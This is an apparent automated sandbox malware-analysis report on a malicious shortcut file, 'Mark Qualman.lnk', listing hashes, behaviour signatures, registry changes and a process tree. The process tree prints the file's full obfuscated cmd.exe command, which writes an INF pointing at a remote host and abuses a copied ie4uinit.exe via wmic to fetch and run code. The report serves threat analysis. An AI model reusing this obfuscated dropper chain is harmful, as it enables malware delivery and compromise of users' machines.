Analysis
-
max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23/08/2024, 05:27
Static task
static1
Behavioral task
behavioral1
Sample
Mark Qualman.lnk
Resource
win7-20240704-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
Mark Qualman.lnk
Resource
win10v2004-20240802-en
windows10-2004-x64
9 signatures
150 seconds
General
-
Target
Mark Qualman.lnk
-
Size
5KB
-
MD5
4a792636a97df1ddec0d4e54272ca177
-
SHA1
038ef3af740407c9514b28e7aa8524bcf84b9bed
-
SHA256
f115187143a80b062a4844dbd462ed183e374263eeea874780eb65775991da22
-
SHA512
3beb9b7608a93757913cd7f31614f5cbdd9a0a6c7bb9ad9fa70cb7d498b8479f89bf46217f7ad70eb731ef933f627cc3e33599d275396ca69eda3b9e714909b7
-
SSDEEP
96:8u5XtaRd9qmN5yYLhTrrfhbFKyVmZXj5kpYZuBPSk:8Mad9qm7yurdbFxaj5kpXF
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 4764 ie4uinit.exe 4092 ie4uinit.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files (x86)\Internet Explorer\Signup\TMP4352$.TMP ie4uinit.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\security\logs\scecomp.log ie4uinit.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\35\IEFixedFontName = "Estrangelo Edessa" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\35 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\SQM ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\24\IEFixedFontName = "MS Gothic" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\30 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30\IEPropFontName = "Microsoft Yi Baiti" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\31 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\34\IEFixedFontName = "Iskoola Pota" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\13\IEFixedFontName = "Shruti" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\14\IEPropFontName = "Kalinga" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22\IEFixedFontName = "Sylfaen" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\23\IEFixedFontName = "GulimChe" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\24\IEPropFontName = "MS PGothic" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\26\IEFixedFontName = "NSimsun" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\36\IEFixedFontName = "Myanmar Text" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3\IEFixedFontName = "Courier New" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\4 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5\IEFixedFontName = "Courier New" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\13 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\17\IEFixedFontName = "Tunga" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\38\IEFixedFontName = "MV Boli" ie4uinit.exe Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\SQM\InstallDate = "1724390830" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4\IEFixedFontName = "Courier New" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\17 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\23 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\39\IEFixedFontName = "Mongolian Baiti" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\5 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22\IEPropFontName = "Sylfaen" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\39\IEPropFontName = "Mongolian Baiti" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6\IEPropFontName = "Times New Roman" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\13\IEPropFontName = "Shruti" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\18\IEFixedFontName = "Kartika" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\25\IEPropFontName = "PMingLiu" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\18\IEPropFontName = "Kartika" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21\IEPropFontName = "Microsoft Himalaya" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\26\IEPropFontName = "Simsun" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3\IEPropFontName = "Times New Roman" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\6 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\12 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12\IEPropFontName = "Raavi" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\14 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\36 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6\IEFixedFontName = "Courier New" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21\IEFixedFontName = "Microsoft Himalaya" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\39 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\New Windows ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\3 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30\IEFixedFontName = "Microsoft Yi Baiti" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\23\IEPropFontName = "Gulim" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31\IEPropFontName = "Segoe UI Symbol" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\34\IEPropFontName = "Iskoola Pota" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12\IEFixedFontName = "Raavi" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31\IEFixedFontName = "Segoe UI Symbol" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\38 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\21 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\34 ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\35\IEPropFontName = "Estrangelo Edessa" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\18 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\22 ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\International\Scripts\24 ie4uinit.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3048 WMIC.exe Token: SeSecurityPrivilege 3048 WMIC.exe Token: SeTakeOwnershipPrivilege 3048 WMIC.exe Token: SeLoadDriverPrivilege 3048 WMIC.exe Token: SeSystemProfilePrivilege 3048 WMIC.exe Token: SeSystemtimePrivilege 3048 WMIC.exe Token: SeProfSingleProcessPrivilege 3048 WMIC.exe Token: SeIncBasePriorityPrivilege 3048 WMIC.exe Token: SeCreatePagefilePrivilege 3048 WMIC.exe Token: SeBackupPrivilege 3048 WMIC.exe Token: SeRestorePrivilege 3048 WMIC.exe Token: SeShutdownPrivilege 3048 WMIC.exe Token: SeDebugPrivilege 3048 WMIC.exe Token: SeSystemEnvironmentPrivilege 3048 WMIC.exe Token: SeRemoteShutdownPrivilege 3048 WMIC.exe Token: SeUndockPrivilege 3048 WMIC.exe Token: SeManageVolumePrivilege 3048 WMIC.exe Token: 33 3048 WMIC.exe Token: 34 3048 WMIC.exe Token: 35 3048 WMIC.exe Token: 36 3048 WMIC.exe Token: SeIncreaseQuotaPrivilege 3048 WMIC.exe Token: SeSecurityPrivilege 3048 WMIC.exe Token: SeTakeOwnershipPrivilege 3048 WMIC.exe Token: SeLoadDriverPrivilege 3048 WMIC.exe Token: SeSystemProfilePrivilege 3048 WMIC.exe Token: SeSystemtimePrivilege 3048 WMIC.exe Token: SeProfSingleProcessPrivilege 3048 WMIC.exe Token: SeIncBasePriorityPrivilege 3048 WMIC.exe Token: SeCreatePagefilePrivilege 3048 WMIC.exe Token: SeBackupPrivilege 3048 WMIC.exe Token: SeRestorePrivilege 3048 WMIC.exe Token: SeShutdownPrivilege 3048 WMIC.exe Token: SeDebugPrivilege 3048 WMIC.exe Token: SeSystemEnvironmentPrivilege 3048 WMIC.exe Token: SeRemoteShutdownPrivilege 3048 WMIC.exe Token: SeUndockPrivilege 3048 WMIC.exe Token: SeManageVolumePrivilege 3048 WMIC.exe Token: 33 3048 WMIC.exe Token: 34 3048 WMIC.exe Token: 35 3048 WMIC.exe Token: 36 3048 WMIC.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3012 wrote to memory of 2332 3012 cmd.exe 85 PID 3012 wrote to memory of 2332 3012 cmd.exe 85 PID 2332 wrote to memory of 540 2332 cmd.exe 86 PID 2332 wrote to memory of 540 2332 cmd.exe 86 PID 2332 wrote to memory of 2616 2332 cmd.exe 87 PID 2332 wrote to memory of 2616 2332 cmd.exe 87 PID 540 wrote to memory of 4528 540 cmd.exe 88 PID 540 wrote to memory of 4528 540 cmd.exe 88 PID 2332 wrote to memory of 32 2332 cmd.exe 89 PID 2332 wrote to memory of 32 2332 cmd.exe 89 PID 2332 wrote to memory of 1264 2332 cmd.exe 90 PID 2332 wrote to memory of 1264 2332 cmd.exe 90 PID 32 wrote to memory of 3048 32 cmd.exe 91 PID 32 wrote to memory of 3048 32 cmd.exe 91 PID 4764 wrote to memory of 4092 4764 ie4uinit.exe 96 PID 4764 wrote to memory of 4092 4764 ie4uinit.exe 96 PID 4092 wrote to memory of 324 4092 ie4uinit.exe 97 PID 4092 wrote to memory of 324 4092 ie4uinit.exe 97 PID 4092 wrote to memory of 1504 4092 ie4uinit.exe 98 PID 4092 wrote to memory of 1504 4092 ie4uinit.exe 98 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Mark Qualman.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c (for %u in (s) do @set "Assets=%~u") && (for %q in (a) do @!Assets!et "Totals=%~q") && !Assets!et "Improvements=default" && (for %d in (c) do @!Assets!et "Someone=%~d") && !Assets!et "Occasions=d" && !Assets!et "Facts=si" && !Assets!et "Scholars=version" && !Assets!et "Appliances=settings" && !Assets!et "Proceeds=t" && !Assets!et "Truly=ure = " && !Assets!et "Belongs=ni" && !Assets!et "Arrow=e" && !Assets!et "Tattoo=$win" && !Assets!et "Moderators=." && !Assets!et "Plastics=a" && !Assets!et "Traditions=!Moderators!inf" && !Assets!et "Barrel=ieui!Belongs!t!Traditions!" && c!Plastics!ll !Assets!et "Cleaners=%!Totals!ppd!Plastics!ta%\micro!Assets!oft\" && s!Arrow!t "Officers=!Cleaners!!Barrel!" && (for %u in ("[!Scholars!]" "signat!Truly!!Tattoo!dows nt$" "[7E55D7]" "ieu%Quantities%!Traditions!" "[!Occasions!e!Assets!tinationdirs]" "!Improvements!destdir=11" "7E55D7=01" "[BCB]" "sc\" "ro%Weights%j,NI,%Umbrella%%Situate%%Situate%p%Racks%%Otherwise%%Otherwise%oshof!Moderators!markqualman!Moderators!%Produce%/jlghiht" "[s!Proceeds!ring!Assets!]" "Otherwise=/" "!Assets!ervicen!Totals!me=' '" "!Assets!hortsvcn!Totals!me=' '" "Umbrella=h" "Order=%time%" "Situate=t;Pencil" "Racks=:;Bones" "Quantities=i!Belongs!t" "Produce=com" "Weights=b;Unaware" "[!Improvements!in!Assets!tall.windows7]" "!Occasions!elfil!Arrow!s=7E55D7" "Un\" "Register\" "OCXs=BCB" ) do @e!Someone!ho %~u)>"!Officers!" && !Assets!et "Refers=ie4ui!Belongs!t.!Arrow!xe" && !Someone!all x!Someone!opy /Y /C /Q %win!Occasions!ir%\!Assets!ys!Proceeds!!Arrow!m32\!Refers! "!Cleaners!*" | !Assets!et Receivers04=Naive && !Assets!t!Totals!rt "" wmi!Someone! proce!Assets!s call !Someone!rea!Proceeds!e "!Cleaners!!Refers! -base!Appliances!" | !Assets!et "Receivers58=Stands Claim River Solid Twist Condos Meadow Cheers Weasel Luggage Gross Tanks Acquisitions Taste Gesture Version Referrals Fears Cameras Obtain Bullet Managers Medal Spots Commissions Dimensions Strips Checks Swarm Praise Increase Jeans Power Plants Colours Signs Possibilities Consensus Marine Investors Poverty Science"2⤵
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" call xcopy /Y /C /Q %windir%\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*" "3⤵
- Suspicious use of WriteProcessMemory
PID:540 -
C:\Windows\system32\xcopy.exexcopy /Y /C /Q C:\Windows\system32\ie4uinit.exe "C:\Users\Admin\AppData\Roaming\microsoft\*"4⤵PID:4528
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set Receivers04=Naive "3⤵PID:2616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" start "" wmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings" "3⤵
- Suspicious use of WriteProcessMemory
PID:32 -
C:\Windows\System32\Wbem\WMIC.exewmic process call create "C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set "Receivers58=Stands Claim River Solid Twist Condos Meadow Cheers Weasel Luggage Gross Tanks Acquisitions Taste Gesture Version Referrals Fears Cameras Obtain Bullet Managers Medal Spots Commissions Dimensions Strips Checks Swarm Praise Increase Jeans Power Plants Colours Signs Possibilities Consensus Marine Investors Poverty Science""3⤵PID:1264
-
-
-
C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exeC:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exeC:\Users\Admin\AppData\Roaming\microsoft\ie4uinit.exe -ClearIconCache2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /03⤵PID:324
-
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /03⤵PID:1504
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
262KB
MD5a2f0104edd80ca2c24c24356d5eacc4f
SHA18269b9fd9231f04ed47419bd565c69dc677fab56
SHA2565d85c4d62cc26996826b9d96a9153f7e05a2260342bd913b3730610a1809203c
SHA512e7bb87f9f6c82cb945b95f62695be98b3fa827a24fa8c4187fe836d4e7d3e7ae3b95101edd3c41d65f6cb684910f5954a67307d450072acd8d475212db094390
-
Filesize
482B
MD59408963b463ae977ab3121575fdef9ba
SHA1c95953b9972aa295dae5b7ec586dfd3b98ed664b
SHA256ff62fb0c98a017b38a5ad52908aa3b7333f90abb1d66b012b33a6550ce19e988
SHA51292c86e6305cc4dafb95773ee7dcb4b70aa96a91f7c9f560635047ed32fcb35fa652ac06208bc47e8a01c18c71254b9c461b07ddf7992ca9fc7bd1e4f8be786b3